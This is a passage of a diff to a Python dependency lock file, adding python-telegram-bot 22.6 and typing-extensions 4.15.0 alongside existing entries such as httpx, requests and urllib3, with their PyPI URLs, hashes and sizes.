{ url = "https://files.pythonhosted.org/packages/2a/39/e50c7c3a983047577ee07d2a9e53faf5a69493943ec3f6a384bdc792deb2/httpx-0.28.1-py3-none-any.whl", hash = "sha256:d909fcccc110f8c7faf814ca82a9a4d816bc5a6dbfea25d6591d6985b8ba59ad", size = 73517, upload-time = "2024-12-06T15:37:21.509Z" },
]
[[package]] [[package]]
name = "idna" name = "idna"
version = "3.11" version = "3.11"
@@ -181,6 +237,19 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/0c/c3/44f3fbbfa403ea2a7c779186dc20772604442dde72947e7d01069cbe98e3/pycparser-3.0-py3-none-any.whl", hash = "sha256:b727414169a36b7d524c1c3e31839a521725078d7b2ff038656844266160a992", size = 48172, upload-time = "2026-01-21T14:26:50.693Z" }, { url = "https://files.pythonhosted.org/packages/0c/c3/44f3fbbfa403ea2a7c779186dc20772604442dde72947e7d01069cbe98e3/pycparser-3.0-py3-none-any.whl", hash = "sha256:b727414169a36b7d524c1c3e31839a521725078d7b2ff038656844266160a992", size = 48172, upload-time = "2026-01-21T14:26:50.693Z" },
] ]
[[package]]
name = "python-telegram-bot"
version = "22.6"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "httpcore", marker = "python_full_version >= '3.14'" },
{ name = "httpx" },
]
sdist = { url = "https://files.pythonhosted.org/packages/cd/9b/8df90c85404166a6631e857027866263adb27440d8af1dbeffbdc4f0166c/python_telegram_bot-22.6.tar.gz", hash = "sha256:50ae8cc10f8dff01445628687951020721f37956966b92a91df4c1bf2d113742", size = 1503761, upload-time = "2026-01-24T13:57:00.269Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/13/97/7298f0e1afe3a1ae52ff4c5af5087ed4de319ea73eb3b5c8c4dd4e76e708/python_telegram_bot-22.6-py3-none-any.whl", hash = "sha256:e598fe171c3dde2dfd0f001619ee9110eece66761a677b34719fb18934935ce0", size = 737267, upload-time = "2026-01-24T13:56:58.06Z" },
]
[[package]] [[package]]
name = "requests" name = "requests"
version = "2.32.5" version = "2.32.5"
@@ -196,6 +265,15 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/1e/db/4254e3eabe8020b458f1a747140d32277ec7a271daf1d235b70dc0b4e6e3/requests-2.32.5-py3-none-any.whl", hash = "sha256:2462f94637a34fd532264295e186976db0f5d453d1cdd31473c85a6a161affb6", size = 64738, upload-time = "2025-08-18T20:46:00.542Z" }, { url = "https://files.pythonhosted.org/packages/1e/db/4254e3eabe8020b458f1a747140d32277ec7a271daf1d235b70dc0b4e6e3/requests-2.32.5-py3-none-any.whl", hash = "sha256:2462f94637a34fd532264295e186976db0f5d453d1cdd31473c85a6a161affb6", size = 64738, upload-time = "2025-08-18T20:46:00.542Z" },
] ]
[[package]]
name = "typing-extensions"
version = "4.15.0"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/72/94/1a15dd82efb362ac84269196e94cf00f187f7ed21c242792a923cdb1c61f/typing_extensions-4.15.0.tar.gz", hash = "sha256:0cea48d173cc12fa28ecabc3b837ea3cf6f38c6d1136f85cbaaf598984861466", size = 109391, upload-time = "2025-08-25T13:49:26.313Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/18/67/36e9267722cc04a6b9f15c7f3441c2363321a3ea07da7ae0c0707beb2a9c/typing_extensions-4.15.0-py3-none-any.whl", hash = "sha256:f0fa19c6845758ab08074a0cfa8b7aecb71c999ca73d62883bc25cc018c4e548", size = 44614, upload-time = "2025-08-25T13:49:24.86Z" },
]
[[package]] [[package]]
name = "urllib3" name = "urllib3"
version = "2.6.3" version = "2.6.3"